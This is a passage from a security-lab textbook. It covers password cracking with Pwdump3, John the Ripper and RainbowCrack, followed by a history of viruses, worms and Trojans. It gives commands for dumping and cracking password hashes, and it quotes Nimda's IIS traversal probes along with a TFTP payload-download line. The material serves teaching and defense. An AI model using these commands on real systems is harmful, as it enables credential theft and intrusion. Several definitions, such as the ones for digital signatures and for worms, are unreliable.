IN THE LAB
Weak passwords can present a real risk to security. By weak passwords, I mean
those that are based on common words or are of insufficient length. You can
mitigate this risk by choosing robust passwords, which are a minimum of 14
characters, upper- and lowercase, and alphanumeric. An even better choice
would be a passphrase. Consider the phrase 1Workingh@rdtod@y. Such a
passphrase is more than 14 characters, yet still somewhat easy to remember.
To test this in your lab, you will need a system running Windows 2000 or XP.
Remember that the hashed passwords are held in the SAM. From an account
with administrative access, you will want to create several user accounts and
passwords. Try making some of the passwords simple and others more
complex. To test the strength of the passwords, check out
www.securitystats.com/tools/password.php or www.microsoft.com/
protect/yourself/password/checker.mspx. You will also need two
utilities; Pwdump3 and John the Ripper. You can download both programs from
www.openwall.com/passwords/microsoft-windows-nt-2000-xp-2003.
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IN THE LAB (continued)
First, download and run Pwdump3. It will extract password hashes from the
SAM. If you take a look at the file once extracted, you will see several entries
that look like this: 4 d4abb135cc145z46 d1927cat932fc33. Remember that there
is no easy way to translate a hash like this directly back. That is where
password-cracking programs like John the Ripper come into play. These tools
work by means of comparative analysis.
1. John the Ripper creates random string of symbols.
2. John the Ripper converts the string of symbols to a hash value.
3. John the Riper compares the hash to the real password hash recovered by
Pwdump3.
4. If these two values match, the password has been found; if not, the program will continue generating new strings.
To finish this process, extract the contents of john-16/run/ in
john16-w.zip to your C: drive. Use the program from the command prompt to
execute it. For example, if you saved the Pwdump3 file as password.txt, the
command would be john passwords.txt. This will start the password
cracking. After a few minutes, the passwords you created will start popping up
one after another. It may take seconds, hours, or even many days for more
complex passwords, but eventually they will be discovered. If you enjoyed this,
you will like the exercises at the end of the chapter.
Summary
This chapter has reviewed cryptographic systems and looked at them in a
way that defines their link to authentication. Building your own security
lab requires that you understand how authentication works and how secure
passwords are. As you have seen, passwords are stored differently in different
versions of Windows and are not stored the same way in Linux. Although
Linux can store passwords in a world-readable file, passwd, most Linux
administrators now use the shadow file. Linux offers use of a salt, which
Windows does not. The salt can be one of 4,096 different values that add
randomness to the encrypted password so that no two encrypted passwords
are the same.
With or without salts, passwords can be attacked; primarily by dictionary
attacks, brute-force attacks, or precomputed rainbow tables. The best defense
Key Terms
is to switch to other forms of authentication and, when that is not possible,
make sure that good password policies are in place and that passphrases
are used.
Key Terms
Algorithm — A mathematical procedure used for solving a problem. It
is commonly used in cryptography.
Asymmetric algorithms — Though keys are related, an asymmetric key
algorithm uses a pair of different cryptographic keys to encrypt and
decrypt data.
Authentication — A method used to enable one to identify an individual. Authentication verifies the identity and legitimacy of the individual
who wants to access the system and its resources. Common authentication methods include passwords, tokens, and biometric systems.
Biometric authentication — A method used in verifying an individual’s
identity for authentication by analyzing a unique physical attribute of
that individual’s fingerprint, retinal scan, or palm print.
Brute force — A method of breaking a cipher or encrypted value by
trying a large number of possibilities. Brute-force attacks function by
working through all possible values. The feasibility of brute-force attacks
depends on the key length and strength of the cipher and the processing
power available to the attacker.
Certificate — A digital certificate is a file that uniquely identifies its
owner. A certificate contains owner identity information and its owner’s
public key. Certificates are created by the Certificate Authority.
Ciphers — Plaintext or clear text is what you have before encryption
and ciphertext is the encrypted result that is scrambled into an unreadable form.
Cryptography — The science of converting clear text into unintelligible
text and converting encrypted messages into an intelligible and usable
form.
Digital signatures — An electronic signature that can be used to authenticate the identity of the sender of a message. A digital signature is
usually created by encrypting the user’s private key and is decrypted
with the corresponding public key.
Encryption — The science of turning plaintext into ciphertext.
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Hash — A mathematical algorithm that is used to ensure that a transmitted message has not been tampered with. The sender generates a hash of
the message, encrypts it, and sends it with the message itself. The recipient then decrypts both the message and the hash, produces another hash
from the received message, and compares the two hashes. If they are the
same, there is a very high probability that the message was transmitted
intact.
Key-exchange protocol — A protocol used to exchange secret keys for
the facilitation of encrypted communication. Diffie-Hellman is an
example of a key-exchange protocol.
Password — A protected word or string of characters that serves as
authentication of a person’s identity (personal password) and is used to
grant a user access to protected networks, systems, or files.
Public key encryption — An encryption scheme that uses two keys. In
an email transaction, the public key encrypts the data and a corresponding private key decrypts the data. Because the private key is never transmitted or publicized, the encryption scheme is extremely secure. For
digital signatures, the process is reversed; the sender uses the private key
to create the digital signature, which can then be read by anyone who
has access to the corresponding public key.
Symmetric algorithms — An encryption standard that requires all parties to have a copy of a shared key. A single key is used for both encryption and decryption.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of this chapter. The author selected the tools and
utilities used in these exercises as they are easily obtainable. Our goal is to
provide you with real hands-on experience.
RainbowCrack
This first exercise steps you through the process of generating a small rainbow
table and verifying its operation. You need to copy rainbowcrack-1.2-win.zip
to your local Windows computer. You can download the file from
www.antsight.com/zsl/rainbowcrack.
1. Once RainbowCrack has been installed on your Windows computer,
open a command prompt and go the folder that you have the program
installed in. Issue the following command:
rtgen lm alpha 1 7 0 2100 8000000 all
Exercises
2. This will take about 13 hours on a 666MHz computer. Once that’s completed, you need to perform this step several other times with the following parameters. Each of these files will require about 128MB of space:
rtgen
rtgen
rtgen
rtgen
lm
lm
lm
lm
alpha
alpha
alpha
alpha
1
1
1
1
7
7
7
7
1
2
3
4
2100
2100
2100
2100
8000000
8000000
8000000
8000000
all
all
all
all
3. When the tables are complete, you need to sort the files by using the
following commands:
rtsort
rtsort
rtsort
rtsort
rtsort
lm
lm
lm
lm
lm
alpha#1-7
alpha#1-7
alpha#1-7
alpha#1-7
alpha#1-7
0
1
2
3
4
2100x8000000
2100x8000000
2100x8000000
2100x8000000
2100x8000000
all.rt
all.rt
all.rt
all.rt
all.rt
4. Add some users and passwords into the local computer you are working on. Be sure to make the passwords no longer than seven
characters (because that is the limit of the rainbow tables you have
created).
5. Now download Pwdump3 from www.bindview.com/Services/razor/
Utilities/Windows/Pwdump3 readme.cfm, and run it against your local
SAM by issuing the following command:
Pwdump3 › mypasswords.txt
6. Now execute RainbowCrack with the following parameters:
rcrack c:\rainbowcrack\*.rt -f mypasswords.txt
You should now see the passwords that were entered in step 5 as the
programs quickly cracks the passwords.
CrypTool
This second exercise demonstrates how cracking times and key lengths
are associated. You need to download CrypTool from www.cryptool.org/
download.en.html#paket to perform this exercise:
1. Install CrypTool and accept all defaults. Once installed, the program will
appear as shown in Figure 7-6.
2. From the menu, chose Crypt/Decrypt ➪ Symmetric (Modern) ➪ RC4.
Enter an 8-bit key length and choose encrypt.
3. Next, go to the Analysis menu ➪ Symmetric Encryption (Modern) ➪
RC4, as shown in Figure 7-7. Choose an 8-bit key and start the bruteforce decrypt. Notice how quickly the clear text is revealed.
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Figure 7-6 CrypTool.
Figure 7-7 CrypTool decryption.
Exercises
Figure 7-8 32-bit CrypTool decryption.
4. Now repeat the steps above, but enter a 16-bit key and then a 32-bit key.
Notice how the 32-bit key will take substantially longer to decrypt, as
shown in Figure 7-8.
John the Ripper
This third exercise demonstrates how to use John the Ripper. This program is
preloaded on the BackTrack for the CD included with this book:
1. Boot up the BackTrack CD or open the OS in VMware.
2. Open a terminal window and go to the john directory. Enter cd /etc/john.
3. Before attempting to crack the existing passwords, let’s enter a few more
users to see how fast the passwords can be cracked. Use the adduser
command to add the users. Let’s name the three users: user1, user2,
and user3. Let’s set the password for the three users to P@ssw0rd and
!P@ssw0rD1.
4. Once the three users have been added, you will want to execute John.
This can be accomplished by typing in ./john /ect/shadow from the command line.
5. Now, just give it a little time to see how long it takes for each password
to be cracked.
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6. Did you notice a correlation between the time it took to crack a password and the complexity of the password? You should have seen morecomplex passwords take longer to recover.
John the Ripper is a wonderful tool for ethical hackers to use to test password
strength. It is not designed for illegal activity. Before you use this tool on a
production network, make sure that you have written permission from senior
management. John the Ripper performs different types of cracks: single mode;
dictionary, or wordlist mode. John the Ripper is portable for many flavors of
Unix, Linux, and Windows, although it does not have a GUI interface.
CHAPTER
8
Defeating Malware
This chapter takes an in-depth look at malware. Malware is something that
really didn’t exist until 1984, when Fred Cohen coined the term computer
virus. He was working on his doctoral thesis and needed a term to describe
self-replicating programs. An advisor suggested he call such code computer
viruses. The first known computer worm was not released until 1988. Malware
has grown, changed, and become a much bigger threat since these early days
of computing. These events deserve discussion, as by studying the origins of
malware we can better understand it. This chapter not only looks at malware
from a historical perspective but also includes a more up-to-date review.
One thing about malware that will become clear is that it is a threat that
is constantly changing. That’s why other malicious code such as rootkits,
spyware, and phishing will also be examined. Each of these has the potential
to cause damage to a company’s network or your home computers. Therefore,
we look at the methods used to detect, eradicate, and prevent such threats.
Many of these defenses can be tested in your network security lab.
The Evolving Threat
Things have certainly changed since the term computer virus was created
back in 1984. Back then, most computer viruses and other forms of malware
(worms, etc.) were written for fame. For many years, this was the motivating
factor behind the development of such code. Consider the 1986 Brain virus.
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This piece of malware was developed by two brothers in Pakistan. The virus
displayed the following information upon infection:
Welcome to the Dungeon (c) 1986 Basit * Amjad (pvt) Ltd. BRAIN COMPUTER
SERVICES 730 NIZAM BLOCK ALLAMA IQBAL TOWN LAHORE-PAKISTAN PHONE: 430791,
443248,280530. Beware of this VIRUS.... Contact us for vaccination...
The brothers actually believed that by adding their name, phone number,
and address, the result would be a huge increase in their business. In the
end, the brothers had to change their phone number because they were
overwhelmed with phone calls, with most not seeking the brothers’ business
services. (Not every virus creator added his phone number to his work, but this
was common in early attacks.) Early attacks were high-profile, well-known,
and launched for fame and notoriety. Most early malware writers actually
made no direct profit from their labor; their payment/reward was their own
self-promotion to others of their skills and abilities.
All this started to change around the year 2000. When asked why, I often
joke with friends about the fact that all the young malware writers grew up and
decided they needed to make a living. But jokes aside, what did happen is that
the nature of the threat mutated. Attackers started to look at focusing attacks
on specific individuals/firms. Attacks such as phishing became popular and
moved to more targeted ‘‘spear phishing’’ attacks, and, most important, the
motive changed from fame to money. As evidence of this, malware writers no
longer wanted notoriety. They were now happy to work in the shadows and
remain unknown.
As an example of the perpetrator of this new type of attack, consider
the Israeli writer Amnon Jackont. In 2005, he became disturbed when a
section of his new book appeared on the Internet weeks before any material
was released. Concerned that his computer was infected with some type of
malware, he approached the police. What they uncovered was a sophisticated
Trojan that was in control of his computer, and it had the ability to perform
keystroke logging. What was most surprising was that the same Trojan had
actually been used for approximately 18 months, not only on his computer
but also on those of approximately 60 other Israeli companies. The result
was the biggest corporate espionage scandal in Israeli history. Three of the
country’s largest private investigation firms were indicted on criminal fraud
charges, and some of Israel’s most prestigious corporations are now under
investigation for possibly stealing information with the same Trojan from a
range of companies in fields such as military contracting, telephony, cable
television, finance, automotive, and high technology. This example highlights
the changes in modern attacks. Today, they are more focused, they can target
specific individuals/firms, and they are designed to avoid discovery. The
best way to understand and deal with the threat of malware is to explore its
background and learn how we got to where we are today.
Viruses and Worms
Viruses and Worms
Viruses and worms are part of a larger category of malicious code, or
malware. Viruses and worms are programs that can cause a wide range of
damage, from displaying messages to making programs work erratically to
even destroying data or hard drives. Viruses accomplish their designated
task by placing self-replicating code in other programs. When these programs
execute, they replicate again and infect even more programs.
Viruses
Computer viruses are unlike the viruses of nature in that they are not naturally occurring. As mentioned previously, the term computer virus didn’t
even come into use until the mid 1980s. But not long thereafter, things
started to change rapidly. Ralf Burger, a German computer systems engineer, was so taken by the concept of computer viruses that he gave the
keynote speech at the Chaos Computer Club in 1985. Highlighting the concept of computer viruses only served to encourage others to explore this
area of computer programming. As could have been expected, viruses started
to appear. By 1987, it was clear that some people had latched on to the malicious power of computer viruses, and one of the first well-known computer
attacks (the Brain virus) was recorded at the University of Delaware.
Viruses can be designed for many purposes. Early viruses were typically
designed to make a statement, market their developers as skilled coders, or
destroy data. The Brain virus actually did little damage; as mentioned earlier,
its creators saw it as a way to promote themselves and their computer services.
This early example of a computer virus worked by targeting the floppy
disk’s boot sector and only infected 360K floppy disks. It had full-stealth
capability built in. The code was actually too big to fit in the boot sector. The
boot sector is what is checked by BIOS upon system startup. It is located at
cylinder 0, head 0, sector 1. It’s the first sector on the disk. Systems that boot
to DOS look for this file to execute the boot process. If it’s found, files such
as io.sys, command.com, config.sys, and autoexec.bat are loaded. The two
brothers who developed it got around the size limitation of the boot sector by
having their virus store the first 512 bytes in the boot sector and then storing
the rest of their code along with the remaining virus code in six different areas
on the floppy disk.
Not long after the Brain virus, the Lehigh virus was discovered at Lehigh
University. Unlike the Brain, the Lehigh was not a cute attempt at marketing;
it hid in command.com and had a counter to keep track of how many files had
been infected. When it reached a predetermined count, it wiped out the data
on the infected floppy disk.
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DOS computers were not the only computers being exposed to viruses;
two viruses surfaced in Macintosh computers in 1988. The first was MacMag,
and it was developed by Drew Davidson. It was designed to do nothing
more than display a drawing of the world on the computer screen. MacMag’s
claim to fame is that it was accidentally loaded onto copies of Aldus Freehand. This error was discovered only after end users started calling to ask
about the purpose of the message that kept popping up when they were
running the Freehand program. About the same time, the Scores virus was
reported by EDS. This virus prevented users from saving their data. The
Scores virus is also unique because it was the first virus written for revenge.
It is alleged to have been written by a former employee who developed it
specifically to get even with the company.
Most early viruses targeted Microsoft Windows systems. And although
Linux computers are not immune, it is harder for Linux viruses to do the
damage that Microsoft Windows viruses can do. For a Linux virus to be
successful, it must infect files owned by the user. Programs owned by root are
most likely accessed by a normal user through a nonprivileged account. Linux
viruses also need a means or mechanism with which to attack. Because Linux
is open source, you will find a range of programs operating on Linux systems.
On the Linux platform, it’s difficult to find programs that have dominance in
the way that Outlook has for Windows, for instance. The driving concept for
earlier viruses was replication. This meant that for the virus to be successful,
it had to reproduce fast, before its discovery/eradication.
Since the early years of computer viruses, this type of malware has relied on
some basic propagation methods. Virus propagation requires human activity
such as booting a computer, executing an AutoRun on a CD, or opening
an email attachment. There are three basic ways that viruses propagate
throughout the computer world:
Master boot record infection — This is the original method of attack. It
works by attacking the master boot record of floppy disks or the hard
drive. This was effective in the days when everyone passed around
floppy disks.
File infection — This slightly newer form of virus relies on the user to
execute the file. Extensions such as .com and .exe are typically used.
Usually, some form of social engineering is used to get the user to execute
the program. Techniques include renaming the program or trying to
rename the .exe extension and make it appear to be a graphic or bitmap.
Macro infection — The most modern type of virus began appearing
in the 1990s. Macro viruses exploit scripting services installed on your
computer. Most of you probably remember the I Love You virus, a prime
example of a macro infector. Macro viruses infect applications
such as Word or Excel by attaching themselves to the application’s
Viruses and Worms
initialization sequence, and then when the application is executed, the
virus’s instructions execute before control is given to the application.
Then the virus replicates itself, infecting additional parts of the
computer.
After a computer has become infected, the computer virus can do a number
of things. Some spread quickly. This type of virus is known as fast infection.
Fast infection viruses infect any file they are capable of infecting. Others limit
the rate of infection. This type of activity is known as sparse infection. Sparse
infection means that the virus takes its time in infecting other files or spreading
its damage. This technique is used to try to help the virus avoid detection.
Some viruses forgo a life of living exclusively in files and load themselves into
RAM. These viruses are known as RAM resident. RAM resident infection is
the only way that boot sector viruses can spread.
As the antivirus companies have developed better ways to detect viruses,
virus writers have fought back by trying to develop viruses that are hard to
detect. One such technique is to make a multipartite virus. A multipartite virus
can use more than one propagation method. For example, the NATAS (Satan
spelled backward) virus would infect boot sectors and program files. The
idea is that this would give the virus added survivability. Another technique
that virus developers have attempted is to make the virus polymorphic.
Polymorphic viruses can change their signature every time they replicate
and infect a new file. This technique makes it much harder for the antivirus
program to detect the virus.
There are three main components of a polymorphic virus: an encrypted
virus body, a decryption routine, and a mutation engine. The process of a
polymorphic infection is as follows:
1. The decryption routine first gains control of the computer and then
decrypts both the virus body and the mutation engine.
2. The decryption routine transfers control of the computer to the virus,
which locates a new program to infect.
3. The virus makes a copy of itself and the mutation engine in RAM.
4. The virus invokes the mutation engine, which randomly generates a new
decryption routine capable of decrypting the virus yet bearing little or
no resemblance to any prior decryption routine.
5. The virus encrypts the new copy of the virus body and mutation engine.
6. The virus appends the new decryption routine, along with the newly
encrypted virus and mutation engine, onto a new program.
As a result, not only is the virus body encrypted, but also the virus
decryption routine varies from infection to infection. No two infections look
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alike, confusing the virus scanner searching for the sequence of bytes that
identifies a specific decryption routine.
Stealth viruses attempt to hide their presence from both the OS and the
antivirus software doing the following:
Hiding the change in the file’s date and time
Hiding the increase in the infected file’s size
Encrypting themselves
The fear of catching a virus actually gave someone the idea to capitalize on
that fear via the virus hoax. In the early years of computer viruses, the virus
hoax proved to be just as effective as an actual virus. A virus hoax is nothing
more than a chain letter that encourages you to forward it to your friends to
warn them of the impending doom. To convince readers to forward the hoax,
the email will contain some information that sounds official and valid.
Hoaxes can usually be recognized by three common items:
First, the email claims that the virus is undetectable. Viruses change the
contents of a drive and files and therefore can be detected.
Second, the email alerts you to warn everyone you know. Real viruses
get plenty of news coverage.
Third, many of the claims made in the email sound far-fetched.
An example of a virus hoax is the Good Times virus. Released as an email
in 1994, novice email users dutifully forwarded email warnings to everyone
on their mail lists, advising them not to open messages with the phrase ‘‘Good
Times’’ in the subject line. The hoax demonstrated the self-replicating power
of the email virus scam, which continues today in many various forms.
Worms
Worms are unlike viruses in that they can self-replicate. True worms require
no intervention and are hard to create. Worms do not attach to a host file,
but are self-contained and propagate across networks automatically. The first
worm to be released on the Internet was the 1988 RTM worm. It was developed
by Robert Morris and meant to be only a proof of concept. It targeted aspects of
sendmail, finger, and weak passwords. The small program disabled roughly
6,000 computers connected to the Internet. Its accidental release was a rude
awakening to the fact that worms can do massive damage to the Internet. The
cost of the damage from the worm was estimated to be between $10 million
and $100 million. Robert Morris was convicted of violating the Computer
Fraud and Abuse Act and sentenced to three years of probation, 400 hours of
community service, a fine of $10,050, and the costs of his supervision while on
probation.
Viruses and Worms
Timeline
By the early 1990s, antivirus companies had started to release products. In
1991 Norton AntiVirus was released. By the mid 1990s, DOS was starting to
be replaced with GUIs, such as Microsoft Windows. In 1996, one of the first
Windows 95 virus was released, Win95Boza.
By 1999, malware had taken another turn as the rise of the macro virus had
begun to be felt. This was the year that the Melissa macro virus was released.
Melissa had all the traits of a worm and had the ability to spread itself rapidly
through email. It was first introduced to the Internet by a posting to the alt.sex
newsgroup. The file appeared to be a list of usernames and passwords used
to access sex sites. Instead of accessing these sites, users who opened the
zipped Word file became infected with a virus that was self-replicating and
had the ability to send itself to as many as 50 correspondents in the user’s
email address book. Because Melissa acted so quickly, many email systems
were overwhelmed by the traffic. At the height of the infection, more than 300
corporations’ computer networks were completely knocked out. The email’s
supposedly being from someone they knew and trusted, together with the
intriguing title, was enough to trick a large portion of the public into opening
the infected document.
Melissa not only spread itself via email but also infected the Normal.dot
template file that users typically used to create Word documents. When a user
opens a Word document, the virus would then place a copy of itself within
each file the user created. As a result, one user could easily infect another
by passing infected documents. The creator of Melissa, David Smith, was
identified and eventually sentenced to five years in prison.
Other macro viruses followed. In 2000, the I Love You virus infected millions
of computers almost overnight using a Visual Basic Script (VBS) that targeted
Microsoft Office users with a method similar to Melissa. Opening the VBS
attachment would infect the victim’s computer. The virus first scanned the
victim’s computer’s memory for passwords and then sent them back to a web
site. Then the virus replicated itself to everyone in the victim’s Outlook address
book. Finally, the virus corrupted music, VBSs, and image files by overwriting
them with a copy of itself. Worldwide damages are estimated to have reached
$8.7 billion. Authorities traced the virus to a young Filipino computer student
named Onel de Guzman. Gizman was never charged because of non-existent
computer crime laws in the Philippines.
During this same period, the Anna Kournikova virus was released. What
made this virus interesting is that the creator, Jan de Wit, claimed to have
created the worm in only a few hours using a tool called the VBS Worm
Generator.
The Code Red worm surfaced in 2001, and went on to infect tens of thousands of systems running Microsoft Windows NT and Windows 2000 Server
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software. The Code Red worm exploited the .ida buffer-overflow vulnerability. The worm was written to reside internally in RAM. If a server was
rebooted, the infection was wiped out unless the system was again scanned by
another infected system. No one knows who created Code Red, but because the
worm changed the infected system’s web page to read ‘‘Hacked by Chinese,’’
it raised suspicion that it might have been a Chinese hacker.
The Code Red worm was unique in that it attacked one computer, and then
used that system to target other computers. When a vulnerable web server
was infected, the worm performed the following steps:
1. The worm set up the initial environment on the infected system and
started 100 threads to be used for propagation.
2. The first 99 threads were used to infect other web servers. Because the
original version of the worm used a static IP address list, the amount of
traffic created by these threads caused a denial of service.
3. The 100th thread of the worm checked to see whether the current server
running was English or Chinese. If the infected system was an English
system, the worm proceeded to deface the system’s web site and added
the message ‘‘Welcome to http://www.worm.com! Hacked by Chinese!’’
If the system was not English, the 100th worm thread targeted other
systems to infect.
4. Each thread that found another potential target first checked to see
whether it was already infected by looking for the file c:\notworm. If the
file was found, the worm became dormant. If not, the worm proceeded
with the attack.
5. Each worm next checked the infected system’s date. If the date was
equal to July 20, 2001, the thread attacked the domain
www.whitehouse.gov.
The Code Red worm was designed to attack the White House’s web site,
and because the creators of the virus used a hard-coded IP address, the White
House’s web site administrators simply ‘‘moved’’ the domain by changing
DNS entries to a different IP address (and therefore the denial of service
portion of the attack missed completely).
In the wake of 9-11, thousands of computers around the world were hit by
yet another piece of malicious code, Nimda. The Nimda worm was considered
advanced in the ways that it could propagate itself. Nimda targeted Windows
IIS web servers that were vulnerable to the Unicode Web Traversal exploit.
Nimda was unique in that it could infect a user’s computer when an infected
email was read or even just previewed. Nimda sent out random HTTP Get
requests looking for other unpatched Microsoft web servers to infect. Nimda
also scanned the hard drive once every 10 days for email addresses. These
Viruses and Worms
addresses were used to send copies of itself to other victims. Nimda used its
own internal mail client, making it difficult for individuals to determine who
really sent the infected email. Nimda also had the capability to add itself to
executable files to spread itself to other victims. Nimda would send a series
of scans to detect whether targeted systems were vulnerable for attack. An
example is shown here:
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
GET / vti bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET / mem bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../
winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
If the victim’s server gave a positive response for any of these probes,
Nimda would send over attack code that attempted to download admin.dll
using TFTP from the attacking site. An example is shown here:
GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%192.168.12.
113%20GET%20Admin.dll%20c:\Admin.dll
Once infected, Nimda started the process of attacking other potential victims.
Ninda started scanning for other vulnerable servers running Microsoft’s IIS
software and then attempted to TFTP the payload up to them. It could also
be spread through shared hard drives, and would start scanning for email
addresses and use these to send copies of itself to other victims through an
email attachment. It is unknown who created Nimda. Antivirus experts are left
with only a few clues. One of them is in the code. It stated, ‘‘Concept Virus (CV)
V.5, Copyright(C) 2001 R.P.China.’’ What is known is that Nimda infected at
least 1.2 million computers and caused significant monetary damage.
In 2002, the Klez worm was released. This worm also targeted Microsoft
systems. It exploited a vulnerability that allowed an incorrect MIME header to
cause Internet Explorer to execute an email attachment. Klez caused confusion
in the way that it used an email address from the victim’s computer to spoof a
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sender. Other email addresses that were found in the victim’s computer were
sent infected emails. The worm would overwrite files and attempt to disable
antivirus products. The overwritten files would be filled with zeroes.
The year 2003 was the year of the Slammer worm. It infected hundreds of
thousands of computers in less than three hours and was the fastest-spreading
worm to date, until the MyDoom worm was released in 2004. MyDoom works
by tricking people into opening an email attachment that contains the worm.
It claims to be a notification that a previously sent email message has failed,
and prompts the user to open the attachment to see what the message’s
text originally said. Many people easily fell for this scam. 2004 was also the
year that the Sasser worm was released. The Sasser worm targets a security
issue with the Local Security Authority Subsystem Service, lsass.exe. Sven
Jaschan, an 18-year-old computer enthusiast, received a sentence of 21 months
on probation and 30 hours community service for creating the Sasser worm
and the Netsky virus.
Some of the more notable of these pieces of malware are listed in Table 8-1.
Table 8-1 Notable Malware
YEAR
NAME
TYPE
PROPAGATION
METHOD
1986
The Brain
Virus
Boot sector
Basit and
Amjad
Farooq Alvi
1988
RTM
Worm
Internet
Robert T.
Morris
1999
Melissa
Macro
Email
David
Smith
2000
I Love You
Macro
Email
Onel de
Guzman
2001
Code Red
Virus/worm
hybrid
Email/Internet
Unknown
2001
Nimda
Worm
Email. Internet/network
shares
R.P.China
2003
Slammer
Worm
SQL
Unknown
2004
Sasser
Worm
Internet/lsass
Sven
Jaschan
2004
MyDoom
Worm
Email
Unknown
CREATOR
Viruses and Worms
Detecting and Preventing
Prevention is better than a cure and, therefore, programs and executables
should always be checked before use. Many sites provide an MD5 sum with
their programs to enable users to easily determine whether changes have been
made. Email attachments should also always be scanned. In a high-security,
controlled environment, a sheep dip system may even be used. (This term
originates from the practice of totally immersing sheep in insecticide to make
sure that they are clean and free of pests.) A sheep dip computer can be
used to screen suspect programs and is connected to a network only under
controlled conditions. It can be used to further examine suspected files,
incoming messages, and attachments. Overall, the best way to prevent viruses
is by following an easy five-point plan.
1. Install antivirus software.
2. Keep the virus definitions up-to-date. Outdated antivirus software is little better than no protection at all.
3. Use common sense when dealing with attachments. If you don’t know
who it’s from, or it’s something you didn’t request, or it looks suspicious, don’t open it!
4. Keep the system patched. Many viruses and worms exploit vulnerabilities that have previously been found. Nimda exploited a vulnerability
that was six months old.
5. Avoid attachments if possible or send them as a PDF file. If that’s not
possible, send the recipient a message ahead of time to let them know
you will be sending something.
There are other things you can do, such as not using Microsoft Outlook; any
popular mail program will always be a target. The higher the number of users
on a specific platform, the greater the power of the infection.
Although virus prevention is good practice, your system may still become
infected. In general, the only way to protect your data from viruses is to maintain current copies of your data. Make sure that you perform regular system
backups. Many tools are available to help with this task, and high-capacity
external drives are now relatively cheap and widely available.
Antivirus
While strategies to prevent viruses are a good first step, antivirus software
has become an absolute essential software component. There is a number of
antivirus products on the market, including these:
Norton AntiVirus
McAfee products
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Trend Micro PC-cillin Internet Security
Sophos products
ESET NOD32 Antivirus
Antivirus programs can use one or more techniques to check files and
applications for viruses. These techniques include the following:
Signature scanning — Signature-scanning antivirus programs work in
a fashion similar to IDS pattern-matching systems. Signature-scanning
antivirus software looks at the beginning and end of executable files
for known virus signatures. Signatures are nothing more than a series
of bytes found in the viruses’ code. Virus creators attempt to circumvent
the signature process by making viruses polymorphic.
Heuristic scanning — Heuristic scanning is another method that
antivirus programs use. Software designed for this function examines
computer files for irregular or unusual instructions. As an example,
think of your word-processing program as it creates, opens, or updates
text files. If the word processor were to attempt to format the C: drive,
this is something that heuristic scanning would quickly identify because
it is not a usual activity for a word processor. In reality, antivirus vendors must strike a balance with heuristic scanning because they do not
want to produce too many false positives or false negatives. Many
antivirus vendors use a scoring technique that will look at many types
of behaviors. Only when the score exceeds a threshold will the antivirus
program actually flag an alert.
Integrity checking — Integrity checking can also be used to scan for
viruses. Integrity checking works by building a database of check sums
or hashed values. These values are saved in a file. Periodically, new
scans occur and the results are compared to the stored results. Although
not very effective for data files, this technique is useful for programs
and applications, as the contents of executable files rarely change. For
example, the MD5 sum of Nmap 4.3 is d6579d0d904034d51b4985fa27
64060e. Any change to the Nmap program would change this hashed
value and make it easy for an integrity checker to detect.
Activity blocking — Activity blockers can also be used by antivirus programs. An activity blocker intercepts a virus when it starts to execute
and blocks it from infecting other programs or data. Activity blockers are
usually designed to start upon booting and continue until the computer
is shut down.
Trojans
IN THE LAB
Antivirus has very much become a required component to all computers. One
of the best defenses against viruses to not open emails or attachments that you
are unsure of. You should also make sure that you always have antivirus
software installed and that it is up-to-date. Backups are another important
step, as you will need to be able to rebuild systems and data should a system
become infected and data become corrupted or destroyed. In the lab, you can
take the first step by backing up your systems and placing the backup on
external media or an external USB drive that is kept separate from your
system.
Trojans
Trojans are programs that pretend to do one thing but, when loaded, actually
perform another, more malicious, act. Before a Trojan program can act, it must
trick the user into downloading it or performing some type of action.
Consider the home user who sees nothing wrong with downloading a
movie illegally from the Internet. After it has been downloaded, however, the
user realizes the movie will not play. The user receives a message about a
missing driver or codec and is prompted to go to a site that has a movie player
with the right codec installed. The user does as instructed and downloads the
movie player and, sure enough, everything works. Seems like a movie without
any cost. Well, not quite, because at the time the user installed the movie
player, he also installed a built-in Trojan. The Trojan was actually part of
the player.
The Trojan may be configured to do many things, such as log keystrokes,
add the user’s system to a botnet (discussed later), or even give the attacker
full access to the victim’s computer. A user might think that a file looks harmless and is safe to run but, once executed, it delivers its malicious payload.
Unlike a virus or worm, Trojans cannot spread themselves. They rely on the
uninformed user.
Trojans get their name from Homer’s epic tale The Iliad. To defeat their
enemy, the Greeks built a giant wooden horse with a hollow belly. The Greeks
tricked the Trojans into bringing the large wooden horse into the fortified
city of Troy. Unbeknown to the Trojans, and under the cover of darkness, the
Greeks crawled out of the wooden horse, opened the city’s gate, and allowed
the waiting Greek soldiers in (which led to the complete fall and destruction
of the city).
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Infection Methods
You might be wondering at this point how users get Trojans. Often, the
infection results from a scenario similar to the one described in the preceding
section: they download one from a web site. Trojans are commonly found on
peer-to-peer sites or other locations where people are going to be downloading
software. As a user, be leery any time you are offered something for nothing.
This goes back to the old saying that there is no such thing as a free lunch.
As a security professional, you may become aware that individuals have
downloaded and installed Trojans. At that point, you can have the offending
programs uninstalled and removed, but the Trojan might not be easily erased.
There is also the issue of how many others, if any, the user has shared the
program or application with. Some malicious users will even host their own
site and offer illegal programs to unlock demo programs or offer free pornographic material in the hope of getting others to download and install their
Trojaned programs.
Another common infection vector is email. You may receive an email with
an attachment or other executable. The attachment may be a game like Elf
Bowl, Wack-a-Mole, or another neat little program you are most likely going
to want to run or share via email with friends. Social engineering plays a big
part in the infection process; after all, we all want to see the attachments that
our friends send us.
Infection can also occur via physical access. If attackers can gain physical
access to the victim’s system, they can just copy the Trojan horse to the hard
